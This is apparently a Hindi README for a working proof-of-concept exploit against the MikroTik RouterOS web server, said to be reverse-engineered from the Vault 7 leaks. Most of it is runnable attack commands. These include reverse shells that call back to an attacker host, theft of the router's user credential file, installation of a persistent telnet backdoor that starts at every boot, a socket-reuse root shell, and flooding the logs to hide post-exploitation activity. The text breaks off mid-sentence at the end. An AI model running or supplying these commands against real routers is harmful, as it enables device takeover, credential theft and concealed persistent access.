
Mikrotik एक्सप्लॉइट का कार्यशील POC Vault 7 CIA Leaks से
Vault 7 CIA लीक्स से Mikrotik एक्सप्लॉइट की रिवर्स इंजीनियरिंग
अधिक जानकारी के लिए PDF देखें (अपडेटेड नहीं)
RouterOS 6.38.4 तक
6.38.5 (2017-Mar-09 11:32) में नया क्या है:
!) www - http सर्वर की कमजोरी ठीक की गई;
पोस्ट हेडर में content-length के रूप में -1 भेजकर सरल क्रैश
दो थ्रेड्स का उपयोग करके स्टैक क्लैश एक्सप्लॉइट, ROP चेन अनुपस्थित
चूंकि ROP गतिशील रूप से बनाया जाता है, आपको RouterOS फर्मवेयर से www बाइनरी निकालनी होगी।
(यह /nova/bin/ में रखी जाती है)
जांचें कि चल रहा संस्करण वही है।
निष्कर्षण को सरल बनाने के लिए आप उपयोग कर सकते हैं:
$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary
दो थ्रेड्स का उपयोग करके स्टैक क्लैश एक्सप्लॉइट, bash कमांड चलाने के लिए ROP चेन के साथ
एक शेल में:
$ nc -l -p 1234
दूसरे शेल में:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"
जहाँ:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (wait some seconds that www is restarted)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -
आप /nova/bin/info के साथ Mikrotik कंसोल में कमांड निष्पादित कर सकते हैं।
उदाहरण: /nova/bin/info "/system reboot" सिस्टम को रीबूट करेगा।
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (it's a bit slow to execute /export command)
$ curl -s http://192.168.8.1/winbox/index
दो थ्रेड्स का उपयोग करके स्टैक क्लैश एक्सप्लॉइट, ROP चेन + शेल कोड के साथ bash कमांड चलाने के लिए
www के mips संस्करण पर स्टैक RWX है, इसलिए हम स्टैक पर जंप कर सकते हैं।
आप x86 संस्करण की तरह ही bash कमांड चला सकते हैं।
मजेदार कमांड
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

इसे मत करो! ;-P
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"
busybox-mips को /ram/busybox में अपलोड करने के लिए
एक शेल में:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; } | nc -l -q 0 -p 1234
दूसरे शेल में (ध्यान दें कि यह रिवर्स शेल कमांड है):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
और कनेक्शन के स्वतः बंद होने तक प्रतीक्षा करें।
(एक बार फ़ाइल अपलोड हो जाने के बाद, रिवर्स शेल फिर से चलाएं (इस बार केवल nc -l -p 1234 के साथ सुनते हुए) और आपको /ram/ के अंदर busybox मिलेगा)
आप /flash/etc/rc.d/run.d/ में एक bash स्क्रिप्ट बनाकर प्रत्येक बूट पर स्क्रिप्ट चला सकते हैं।
निष्पादन अनुमतियाँ सेट करने पर ध्यान दें, अन्यथा आपका राउटर बूट पर अटक जाएगा और आपको फर्मवेयर पुनर्स्थापित करना होगा!
यह उदाहरण पोर्ट 23000 पर एक स्थायी telnet सर्वर सक्षम करता है।
एक शेल में:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234
दूसरे शेल में (ध्यान दें कि यह रिवर्स शेल कमांड है):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
और Done! Rebooting... प्रकट होने तक प्रतीक्षा करें।
एक बार राउटर फिर से चालू हो जाने पर:
$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.
MikroTik v6.38.4 (stable)
/ #
शेल स्पॉन करने के लिए http सॉकेट का पुन: उपयोग करें, ताकि आप रिवर्स कनेक्शन के बिना शेल प्राप्त कर सकें।
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode
Got root ;-)
busybox-mips को /ram/busybox में अपलोड करने के लिए
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox
[...]
Uploading busybox-mips in /ram/busybox...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]
केवल RGB बिटमैप 24 बिट (संपीड़ित नहीं) फ़ाइलें समर्थित हैं।
अधिकतम आकार: 160px चौड़ाई, 76px ऊँचाई
आप एक नमूना यहाँ पा सकते हैं
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
reboot
*** Connection closed by remote host ***

अपने पोस्ट एक्सप्लॉइटेशन कार्यों के बाद लॉग हटाने के लिए
/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"
यह लीक हुए CIA दस्तावेज़ीकरण की रिवर्स इंजीनियरिंग है।
कोई chimay-red.py सार्वजनिक रूप से उपलब्ध नहीं है।
जैसे ही मेरे पास पर्याप्त समय होगा मैं PDF अपडेट करूँगा, वैसे भी:
हम जानते हैं कि: